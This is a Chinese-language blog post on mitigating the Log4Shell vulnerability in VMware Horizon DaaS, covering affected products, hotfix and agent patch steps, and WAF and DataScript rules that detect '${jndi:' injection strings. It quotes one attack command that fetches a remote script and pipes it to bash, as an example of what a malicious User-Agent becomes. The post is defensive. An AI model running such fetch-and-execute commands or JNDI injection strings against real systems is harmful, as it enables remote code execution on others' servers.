Horizon DAAS环境Log4J远程代码执行漏洞危害减轻措施

Horizon DAAS环境Log4J远程代码执行漏洞危害减轻措施,第1张

一、问题描述

2021 年 12 月 9 日,VMware 威胁分析部门 (TAU) 也注意到Java Log4j 模块中存在的一个大规模、高影响的漏洞。此漏洞称为 Log4Shell,安全跟踪编码为 CVE-2021-44228及后续衍生的 CVE-2021-45046。它是一个未经身份验证的远程代码执行 (RCE) 漏洞。它允许攻击者通过简单地让他们记录特定字符串来在受影响的系统和工作负载上运行命令。进行日志记录的库将该字符串解释为命令,而不是仅仅将其写入日志。例如,攻击者可能利用web门户的登录页面,将攻击字符串放在他们获悉的将被记录的用户名字段中,访问执行后,就会在web服务器执行恶意代码。

Log4j 是一个非常流行的日志库。Java Log4j模块广泛应用于各应用场景,它允许基于 Java 的应用程序更好地管理内部事件日志记录;Log4j 中的漏洞依赖于解析文本字符串的库文件;当 Java 命名和目录接口 (JNDI) 接收到包含特定格式的“${jndi}”命令的日志消息时,就会触发该漏洞。最常见的攻击中,JNDI 命令可利用轻量级目录访问协议 (LDAP) 连接到远程主机 URL,这将导致库进行直接连接以检索和评估结果。据应用程序记录的相关数据,此恶意字符串可能植入从针对 Web 服务器的 HTTP 用户代理到 Minecraft 中的聊天室消息等的任何地方。从以往的攻击经验看,它主要利用 HTTP URI 和用户代理来传递恶意负载。比如:

上面传入的 User-Agent 字符串,一旦被 Log4j 执行,将转换为可执行的 Linux 命令行:“(wget -q -O- 192.168.0.0:80)|bash”。这就意味着外部攻击者可通过远程系统的未知脚本进行非文件类攻击,该脚本可直接在 Apache 进程下执行。

从vmware官方纰漏的信息来看,有例子表明,即使是桌面应用程序也可能因本地数据输入而受到攻击。由于该漏洞可以多种不同的方式实现,因此很难在不了解应用程序上下文的情况下查明特定库正在执行的异常 *** 作。

目前,易受攻击的 Log4j 版本范围从 2.0 到 2.15。官方建议部署解决此漏洞的最新可用的 Log4j 补丁版本;建议在现有的 Web 服务器日志或其他关键日志中搜索“jndi:ldap”等字符串。

对于 VMware vSphere、VMware Cloud Foundation 和 VMware Cloud 等云基础架构产品,以及 HCX、Site Recovery Manager、NSX-T 和云网关设备等云附加组件,vmware强烈建议限制对管理界面的访问。

二、漏洞影响 2.1 vmware发布的安全建议公告:VMSA-2021-0028.13

受影响的产品有:其中VMware Horizon、VMware Unified Access Gateway、VMware Horizon DaaS、VMware Horizon Agents Installer是我们本次主要关注的对象

VMware Horizon
VMware vCenter Server
VMware HCX
VMware NSX-T Data Center
VMware Unified Access Gateway
VMware WorkspaceOne Access
VMware Identity Manager
VMware vRealize Operations
VMware vRealize Operations Cloud (Cloud Proxy)
VMware vRealize Automation
VMware vRealize Lifecycle Manager
VMware Site Recovery Manager, vSphere Replication
VMware Carbon Black Cloud Workload Appliance
VMware Carbon Black EDR Server
VMware Tanzu GemFire
VMware Tanzu GemFire for VMs
VMware Tanzu Greenplum Platform Extension Framework
VMware Greenplum Text
VMware Tanzu Operations Manager
VMware Tanzu Application Service for VMs
VMware Tanzu Kubernetes Grid Integrated Edition
VMware Tanzu Observability by Wavefront Nozzle
Healthwatch for Tanzu Application Service
Spring Cloud Services for VMware Tanzu
Spring Cloud Gateway for VMware Tanzu
Spring Cloud Gateway for Kubernetes
API Portal for VMware Tanzu
Single Sign-On for VMware Tanzu Application Service
App Metrics
VMware vCenter Cloud Gateway
VMware vRealize Orchestrator
VMware Cloud Foundation
VMware Workspace ONE Access Connector
VMware Horizon DaaS
VMware Horizon Cloud Connector
VMware NSX Data Center for vSphere
VMware AppDefense Appliance
VMware Cloud Director Object Storage Extension
VMware Telco Cloud Operations
VMware vRealize Log Insight
VMware Tanzu Scheduler
VMware Smart Assurance NCM
VMware Smart Assurance SAM [Service Assurance Manager]
VMware Integrated OpenStack
VMware vRealize Business for Cloud
VMware vRealize Network Insight
VMware Cloud Provider Lifecycle Manager
VMware SD-WAN VCO
VMware NSX Intelligence
VMware Horizon Agents Installer
VMware Tanzu Observability Proxy
VMware Smart Assurance M&R
VMware Harbor Container Registry for TKGI
VMware vRealize Operations Tenant App for VMware Cloud Director
VMware vRealize True Visibility Suite

更多参看:VMSA-2021-0028.13。

2.2、本次产品影响分析及处理

1)不受 CVE-2021-44228 和 CVE-2021-45046 影响的产品

VMware vSphere ESXi
VMware Cloud Director (VCD)
VMware Cloud Director Availability
VMware NSX Advanced Load Balancer (Avi)
VMware Workspace ONE Assist
VMware RemoteHelp
VMware vCloud Usage Meter
VMware Tanzu Kubernetes Grid
SaltStack
VMware App Volumes
VMware ThinApp
ThinApp SDK
Dynamic Environment Manager (DEM)
Workspace ONE Unified Endpoint Management (UEM)
VMware Postgres
VMware Tanzu RabbitMQ
VMware Tanzu RabbitMQ for Kubernetes
VMware Tanzu RabbitMQ for VMs
VMware Tanzu SQL with Postgres for Kubernetes
VMware Tanzu SQL with MySQL for Kubernetes
Data Management for VMware Tanzu (DMS)
VMware Telco Cloud Automation (TCA)
VMware Workstation
VMware Fusion
VMware Skyline Collector virtual appliance
Workspace ONE Intelligence
MySQL for TAS (Tanzu Application Service)
VMware Workstation Player
Cloud Director App Launchpad
AirWatch Cloud Connector
VMware NSX Lastline Defender On-Premises
VMware NSX Lastline Defender Hosted/SaaS
Update Manager Download Service (UMDS)
Metrics Store
Event Alerts
VMware Workspace ONE Assist for Horizon
VMware Tools
VMware Tanzu Toolkit for Kubernetes
Secure Email Gateway
VMware Cloud Director App Launchpad
Skyline Health Diagnostics
Carbon Black App Control
VMware Tanzu Build Service
Workspace ONE Tunnel
VMware Email Notification Service 2
VMware vRealize Log Insight Cloud Proxy
VMware Remote Console (VMRC)
VMware Cloud Services Cloud Proxy
vRealize AI Cloud Cloud Proxy

2)对于Horizon DaaS :

CVE-2021-44228 和 CVE-2021-45046 已在 Horizo​​n DaaS 9.1.2 及更高版本中得到解决。 VMware 建议您尽快升级到 Horizo​​n DaaS 9.1.2 或更高版本以解决这些问题。

对于Horizo​​n DaaS 9.1.2 之前的版本,如VMware Horizon DaaS 9.0.X 、VMware Horizon DaaS 9.1.X (可升级到9.1.1),可采用如下临时解决方案:

1>下载对应版本的 tgz补丁包:

1、Horizon Daas 9.1.1。
2、Horizon DaaS 9.1.0 。
3、Horizon DaaS 9.0.1 及之前版本。

2>将对应版本的补丁版在HVM的Rundeck管理界面"Rundeck UI --> Projects --> Horizon-DaaS-Artifact-Upload"页面进行上传。或者也可以手动拷贝到HVM主机上的/opt/hvm/hotfixes目录下,执行

chmod 744 file1.tgz 
chown -R rundeck:rundeck file1.tgz 

3>HVM管理页面更新补丁包信息,单击Refresh Hotfix List执行刷新任务,然后再单击Apply Hotfix to DaaS Appliances修护SP和RM设备;

4>再次Apply Hotfix to DaaS Appliances,对租户的TA进行修护。

5>验证:登录相应的DAAS设备,确认当前Log4j-core模块版本为2.16即可。或者在HVM页面,导航rojects > Horizon-DaaS-HotFix-Managemen>Jobs > Detect Hotfixes on DaaS Appliances,执行完job,就可在页面上查看输出,包括您选择的组织中的所有设备的列表以及安装在每个设备上的修补程序。

sudo find /usr -name log4j-core*.jar   //输出类似如下即可

/usr/local/desktone/release/dt-platform-21_1_0/deploy/dt-tenant-node-21.1.0-bin/appblast/WEB-INF/lib/log4j-core-2.16.0.jar 

/usr/local/desktone/release/dt-platform-21_1_0/deploy/dt-tenant-node-21.1.0-bin/horizonadmin/WEB-INF/lib/log4j-core-2.16.0.jar 

/usr/local/desktone/release/dt-platform-21_1_0/deploy/dt-deployer-lib-21.1.0-bin/lib/log4j-core-2.16.0.jar 

注:对Horizon DAAS设备的本次修补,需要对SP和RM,TA设备等进行重启,才能生效;可升级完成后,手动执行重启 *** 作。Horizo​​n Version Manager 会在我们应用修补程序之前和之后自动拍摄所处理设备的快照。后期可在 vCenter Server 中导航到该设备并选择所需的快照进行设备还原/恢复。

更多参看:官方文档。

上述补丁包修复是通过使用该漏洞无法利用的新版本的 log4j 来防止利用 log4j 漏洞(CVE-2021-44228 和 CVE-2021-45046)。

3)对于Horizo​​n Agents,vmware官方显示只能升级版本来修复

Horizon DaaS 版本Horizon Agents Installer (HAI) 版本受影响状态处理建议
9.1.x21.3.0, 20.4.0不受影响无需修复
9.1.x, 9.0.x20.3.1受影响1))升级HAI 版本到: 20.3.1 (build 19264881)
2)升级Horizon Agent到最新
9.1.x, 9.0.x20.3.0受影响1)升级HAI 版本到: 20.3.0 (build 19264895)
2)升级Horizon Agent到最新

升级参看:官方agent升级。

临时缓解:删除 JndiLookup 类

sudo zip -q -d $(find /usr/lib/vmware/viewagent/ -name log4j-core.jar 2>/dev/null) org/apache/logging/log4j/core/lookup/JndiLookup.class

禁用 lookups,之后重启viewagent服务:

/usr/lib/vmware/viewagent/bin/StartAgent.sh
/etc/rc.d/init.d/viewagent
/etc/init/viewagent.conf
/etc/init.d/viewagent.suse
#在上述文件中查找-Dfile.encoding=UTF-8,在其前面增加
-Dlog4j2.formatMsgNoLookups=true

验证:

unzip -l $(find /usr/lib/vmware/viewagent/ -name log4j-core.jar 2>/dev/null) | grep JndiLookup.class | grep -v grep

更多参看本地agent修复。

4)HAi升级:Horizon Agents Installer (HAI)

说明:本文参考kb87101。

5)对于DaaS 8.0.1版本,可关注

VMSA

参考:Apache Log4j2远程代码执行漏洞处理。

6)利用NSX AVI的WAF功能来临时减轻

由于 NSX 高级负载平衡器 (Avi) 平台提供多层应用程序保护,因此可以通过启用不同的功能来保护。VMware建议将 NSX Advanced Load Balancer (Avi) WAF 或 NSX Advanced Load Balancer (Avi) DataScript + IP 信任阻止结合使用。

下载:Avi CRS 2021-4,并在强制模式下启用新规则 4022060 和 4022061。示例如下:


以上还可以通过加2条PRE-CRS 规则来实现,效果一致;在强制模式下, 创建一个PRE-CRS组,将下图中2条规则加入到 PRE-CRS组里:

SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@* "@rx ${(?:jndi|ctx):" "id:4099843,phase:2,block,t:none,t:lowercase,t:urlDecodeUni,multimatch,msg:'CVE-2021-44228 / CVE-2021-45046 log4j vulnerability', tag:'attack-rce', tag:'paranoia-level/1', severity:'CRITICAL'"

#rule2
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@*  "@rx \${[^}]{0,4}\${" "id:4099844,phase:2,block,t:none,t:lowercase,t:urlDecodeUni,multimatch,msg:'CVE-2021-44228 / CVE-2021-45046 log4j vulnerability evasion', tag:'attack-rce', tag:'paranoia-level/1', severity:'CRITICAL'"


当然你也可直接启用“apache” 保护:


使用 DataScrip来阻止CVE-2021-44228 攻击:

-- detect CVE-2021-44228 Log4j
local function check_for_attack (location, value)
    if type(value) == "string" then
        lower = string.lower(value)
        if string.contains(lower, "${jndi:") then
          avi.vs.log("CVE-2021-44228 Log4j attack detected at " .. location)
          avi.http.response(400)
        end
        -- detect evasion
        if string.match(lower, "${%a*${") then
              avi.vs.log("CVE-2021-44228 Log4j attack (evasion attempt) detected at " .. location)
              avi.http.response(400)
        end
    end
end

local function check_table(location, table)
    if table then
        for name, value in pairs(table) do
           check_for_attack(location, name)
           if type(value) == "table" then
               for index, value in pairs(value) do
                   check_for_attack(location .. "." .. name, value)
               end
           else
               check_for_attack(location .. "." .. name, value)
           end
        end
    end
end

local function check_request_body()
    -- by default, we only inspect the first 128 kb
    body = avi.http.get_req_body(128)
    if body then
        body = avi.utils.uri_decode(body)
        if body then
            check_for_attack("BODY", body)
        end
    end
end

check_table("REQUEST_HEADERS", avi.http.get_header())
check_table("QUERY_ARGS", avi.http.get_query(avi.QUERY_TABLE))
check_for_attack("PATH", avi.http.get_path())
check_for_attack("URI", avi.http.get_uri())
check_request_body()


上述文件会针对攻击验证请求标头的所有部分,并检查是否逃避检测;在应用程序配置文件中启用 request_body_buffering还可检查请求正文。保护示例如下:

VMware官方表明,许多不断扫描互联网以查找易受攻击的机器的 IP 实际上都被我们的 IP 信任服务所覆盖,据报道,许多扫描都通过 TOR 网络进行路由。强烈建议使用随附的 NSX 高级负载平衡器 (Avi) IP 信任保护来阻止这些已知威胁参与者访问您的应用程序。

注:在虚拟服务上启用 WAF 和 IP 信任具有先决条件,包括正确调整服务引擎的大小和测试应用程序。因此,不建议直接为生产虚拟服务启用 WAF 和 IP 信任,请谨慎处理。

三、附录

提高 VMware Horizo​​n DaaS 设备中的日志记录级别:登录TA设备

cp -pr /usr/local/desktone/release/active/conf/desktone-log4j.properties /usr/local/desktone/release/active/conf/desktone-log4j.properties.src
vi /usr/local/desktone/release/active/conf/desktone-log4j.properties  //将下述的info级别修改为DEBUG

log4j.rootCategory=INFO, FILE
#log4j.appender.FILE=org.jboss.logging.appender.RollingFileAppender
log4j.appender.FILE=com.desktone.logger.FilteringRollingFileAppender
log4j.appender.FILE.errorHandler=org.jboss.logging.util.OnlyOnceErrorHandler
log4j.appender.FILE.File=/var/log/desktone/desktone.log
log4j.appender.FILE.Append=true
log4j.appender.FILE.Threshold=INFO
log4j.appender.FILE.maxFileSize=10MB
log4j.appender.FILE.maxBackupIndex=100
log4j.appender.FILE.layout=org.apache.log4j.PatternLayout
log4j.appender.FILE.layout.ConversionPattern=%d %-5p [%c]-[%t] %m%n

#####################
# Limit categories
#####################

log4j.logger.com.desktone=INFO
log4j.logger.com.desktone.server.accessFabric.FabricDelegateImpl=INFO
log4j.logger.com.desktone.server.database.slony.SlonyProviderImpl=INFO
log4j.logger.org.jboss=INFO

to

log4j.rootCategory=INFO, FILE
#log4j.appender.FILE=org.jboss.logging.appender.RollingFileAppender
log4j.appender.FILE=com.desktone.logger.FilteringRollingFileAppender
log4j.appender.FILE.errorHandler=org.jboss.logging.util.OnlyOnceErrorHandler
log4j.appender.FILE.File=/var/log/desktone/desktone.log
log4j.appender.FILE.Append=true
log4j.appender.FILE.Threshold=DEBUG
log4j.appender.FILE.maxFileSize=10MB
log4j.appender.FILE.maxBackupIndex=100
log4j.appender.FILE.layout=org.apache.log4j.PatternLayout
log4j.appender.FILE.layout.ConversionPattern=%d %-5p [%c]-[%t] %m%n

#####################
# Limit categories
#####################

log4j.logger.com.desktone=DEBUG
log4j.logger.com.desktone.server.accessFabric.FabricDelegateImpl=INFO
log4j.logger.com.desktone.server.database.slony.SlonyProviderImpl=INFO
log4j.logger.org.jboss=INFO

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/788563.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-05
下一篇 2022-05-05

发表评论

登录后才能评论

评论列表(0条)

保存